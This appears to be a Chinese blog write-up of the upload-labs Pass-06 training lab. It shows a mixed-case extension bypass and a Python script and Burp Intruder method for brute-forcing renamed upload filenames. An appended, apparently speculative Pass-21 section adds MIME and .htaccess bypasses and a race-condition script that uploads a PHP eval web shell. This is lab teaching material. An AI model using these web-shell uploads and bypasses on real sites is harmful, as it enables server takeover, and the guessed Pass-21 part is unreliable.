upload-labs pass-06

本关我们可以看到提示是禁止上传.htaccess文件的,但是服务端源码是没有过滤大小写的,没有把文件后缀名转为小写,证明我们可以上传被过滤的文件后缀名的大小写混合形式来绕过。

我们上传一个abc.phP文件,可以发现是上传成功了的,但是我们直接访问这个文件是访问不到的,提示我们访问失败,这里是因为服务端对上传的文件进行了重命名,基于上传时间,格式为年月日时分秒+4为随机数+后缀

不过,基于我们上传成功后该页面会以图片形式回显我们的文件,可以猜测到浏览器是访问了这个文件,我们可以打开F12开发者工具,点击网络,然后重新上传刚刚的文件,应该会有一个GET请求。

可以看到这个文件名,我们就可以继续利用了。

或者查看当前页面的元素,也可以看到文件名,以及ctrl+u都可以看到文件名的。

知道文件名就可以正常访问了,正常输出预料结果。


补充内容:这里是因为服务端会把我们上传的文件回显出来,浏览器会请求这个文件,从而把文件名暴露在浏览器里,但是这里要是服务端不会显我们的文件,我们无法通过浏览器得到文件名的时候该怎么办呢。

这里我们修改一下网站源码

我们上传成功后不会回显我们的文件,也就不会访问我们的文件,浏览器查看不到文件名。

        这里我们可以编写脚本嘛,既然它把文件格式改为年月日时分秒+4位随机数+后缀,我们可以编写脚本或者利用burpsuite的Intruder模块来文件名。

        这里先给出python脚本破解,注意这里的TIME_STR参数要根据我们上传文件的时间来看,打开F12开发者工具,点开网络,查看POST请求的时间,因为上传文件是POST请求,得到文件上传的时间。

#!/usr/bin/env python3
import requests
# --------- 配置(修改这三项) ----------
BASE_URL = "http://localhost/upload-labs/upload"   # 不要以 / 结尾
TIME_STR = "20251011131105"           # 浏览器看到的上传时间(YYYYmmddHHMMSS)
EXT = ".phP"                          # 包含点的扩展名,例如 .jpg 或 .abc
# ----------------------------------------

requests.packages.urllib3.disable_warnings()

def main():
    for n in range(1000, 9999):
        name = f"{TIME_STR}{n:04d}{EXT}"
        url = BASE_URL.rstrip('/') + '/' + name
        try:
            r = requests.head(url, timeout=4, allow_redirects=True, verify=False)
            if r.status_code == 200:
                print("[FOUND] ", url)
                return
            # 可选打印进度(每 1000 个)
            if n % 1000 == 0:
                print(f"[.] tried {n} candidates...")
        except Exception as e:
            print(f"[!] error for {url}: {e}")
    print("[-] none found in 0000-9999. 如果没找到,确认扩展名/时区/上传目录是否正确。")

if __name__ == "__main__":
    main()

等待程序跑完就会给我们一个结果。


        这里我们再给出使用burpsuite的方法,这个方法实测比python脚本快很多倍,几乎不到十秒就得到结果了,python差不多要跑一分钟左右。

 burpsuite的基本配置这里就不讲了哈,可以搜索去配置一下,这里主要讲怎么利用。

 在使用burp代理后,我们就直接访问我们上传的文件。

然后查看burpsuite的Proxy模块中带你开HTTP history,然后点开这个请求,右键点击Send to intruder

然后输入在浏览器查看到的时间,再添加Payload位置

这里选择数值,然后输入区间,从多少到多少,这里因为服务端只从1000到9999,我们就输入这个,然后点击开始攻击就可以了

我们可以得到这个结果,可以看到6242payload的请求是成功的,也就意味着202510111346416242.phP这个文件是存在的,我们打开后端看一下,就是该文件。

至此,介绍了两种在服务端修改了上传的文件名,并且知道命名方式时,我们可以利用的两种思路,有时候发现上传成功了,但是访问不到文件的时候,可以试一下这个思路,这里就是提供一种思路哈。

解题点:文件后缀名大小写绕过,还有补充得不到文件名时的思路。 

upload-labs 项目中,Pass-21 的解题思路主要围绕文件上传时的 **MIME 类型验证绕过** 和 **文件名解析漏洞利用**。虽然未在提供的引用中直接提及 Pass-21 的具体细节,但根据 upload-labs 系列的常见设计逻辑,Pass-21 很可能涉及以下攻击模式: ### 三级标题:MIME 类型验证绕过 在某些关卡中,服务器会通过检查上传文件的 MIME 类型来阻止非图片文件的上传。攻击者可以通过在上传请求中修改 `Content-Type` 字段来绕过该检查,例如将其设置为 `image/jpeg` 或 `image/png`,即使上传的是 `.php` 文件。这种方式常用于绕过前端或服务器端的简单 MIME 类型检测机制[^1]。 ### 三级标题:双重扩展名上传与解析漏洞 服务器端可能使用了不安全的文件名处理方式,例如仅过滤了 `.php` 扩展名,但未对多个扩展名进行处理。攻击者可以尝试上传类似 `shell.php.jpg` 的文件,随后通过某些方式(如 Apache 的解析特性)使服务器将 `.php.jpg` 文件当作 PHP 脚本执行。这种攻击方式依赖于服务器配置不当,例如 Apache 的 `mod_php` 模块会解析最后一个匹配 `.php` 的扩展名。 ### 三级标题:结合 .htaccess 文件实现解析绕过 如果服务器允许上传 `.htaccess` 文件,则攻击者可以上传一个自定义的 `.htaccess` 文件,配置其将特定扩展名(如 `.jpg`)解析为 PHP 脚本。例如,添加如下内容: ```apache AddType application/x-httpd-php .jpg ``` 上传后,再上传一个以 `.jpg` 结尾的 PHP 文件,服务器会将其当作 PHP 脚本执行。这种方式常见于 Linux 环境下的 upload-labs 关卡[^3]。 ### 三级标题:条件竞争与多线程上传 在某些情况下,服务器可能对上传后的文件进行异步检查或清理,攻击者可以利用时间差进行条件竞争攻击。通过并发脚本快速上传并访问恶意文件,从而在文件被删除前完成命令执行。例如使用 Python 脚本进行多线程上传和访问: ```python import threading import requests def upload_file(): url = "http://localhost/upload-labs-master/upload.php" files = {'file': ('shell.php', "<?php @eval($_POST['cmd']); ?>", 'image/jpeg')} data = {'submit': 'Upload'} while True: requests.post(url, files=files, data=data) def access_file(): while True: requests.get("http://localhost/upload-labs-master/uploads/shell.php") threads = [] for _ in range(10): t = threading.Thread(target=upload_file) t.start() threads.append(t) for _ in range(2): t = threading.Thread(target=access_file) t.start() threads.append(t) ``` 此脚本通过并发上传和访问,尝试在服务器清理文件前完成攻击过程。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Forfun_tt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值